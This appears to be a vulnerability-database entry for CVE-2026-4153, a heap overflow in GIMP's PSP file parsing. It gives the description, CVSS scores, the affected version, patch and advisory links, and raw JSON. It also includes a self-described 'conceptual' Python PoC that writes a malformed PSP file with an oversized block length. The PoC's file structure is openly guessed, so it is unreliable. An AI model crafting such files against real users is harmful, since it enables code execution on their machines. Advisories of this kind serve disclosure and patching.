Security Vulnerability Report
中文
CVE-2026-4153 CVSS 7.8 HIGH

CVE-2026-4153

Published: 2026-04-11 01:16:17
Last Modified: 2026-04-14 19:33:02

Description

GIMP PSP File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of PSP files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28874.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gimp:gimp:3.0.8:*:*:*:*:*:*:* - VULNERABLE
GIMP (具体版本请参考官方GitLab提交 98cb1371)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-4153 (Conceptual) # This script generates a malformed PSP file to trigger the heap overflow. import struct def create_malformed_psp(filename): # PSP file header signature signature = b'Paint Shop Pro Image File\n\x1a\x00\x00\x00\x01' # Create a malformed block header # Assuming the vulnerability is in parsing a block length field. # We set a large length value to trigger the overflow. block_id = b'GENR' # Example block ID # Normal length might be small, we use a large value to overflow malicious_length = 0xFFFFFFFF # Very large length # Construct the header header = signature + block_id + struct.pack('<I', malicious_length) # Padding to reach the copy point (conceptual) payload = b'A' * 100 with open(filename, 'wb') as f: f.write(header + payload) if __name__ == '__main__': create_malformed_psp('exploit.psp') print('Malformed PSP file generated: exploit.psp')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4153", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:16.963", "lastModified": "2026-04-14T19:33:01.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GIMP PSP File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of PSP files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28874."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.0.8:*:*:*:*:*:*:*", "matchCriteriaId": "0866C0EF-59AE-4AB9-8D0F-7C75CD20F77E"}]}]}], "references": [{"url": "https://gitlab.gnome.org/GNOME/gimp/-/commit/98cb1371fd4e22cca75017ea3252dc32fc218712", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-220/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}